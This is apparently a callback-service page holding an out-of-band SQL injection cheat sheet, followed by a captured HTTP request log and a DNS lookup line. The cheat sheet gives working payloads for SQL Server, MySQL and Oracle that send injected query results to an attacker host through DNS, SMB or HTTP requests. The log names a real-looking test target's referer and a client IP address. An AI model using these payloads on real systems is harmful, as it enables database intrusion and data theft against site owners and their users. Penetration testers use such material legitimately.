Some use cases for out of band SQL Injection

SQL Server
	?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')
	Makes DNS resolution request to {INJECT}.yourhost.com

Bulk insert to look for OOB attacks for MS-SQL
	BULK INSERT mytable FROM '\\attackersite'

MySQL
	?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',({INJECTION}), 'yourhost.com\\')))
	Makes a NBNS query request/DNS resolution request to yourhost.com

Oracle
	?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://yourhost.com/sniff.php?sniff='||({INJECTION})||'') FROM DUAL)
	Sniffer application will save results

	?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM DUAL)
	You need to sniff dns resolution requests to yourhost.com

source: https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/#OutOfBandChannelAttacks

Request Method: GET
Request Time: 1742877524
Query String: kOxHar
HTTP Referer: https://vapt.cartradeexchange.com/
HTTP User Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_10 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148
HTTP X-FORWARDED-FOR:
HTTP Client IP:
Remote Addr: 115.117.172.10
Remote Host:
Remote Port: 34883
Request URI: /o/kOxHar
PHP Auth User:
PHP Auth PW:
Requests: [id] => kOxHar
 

DNS lookups for: *.kOxHa.o.swin.es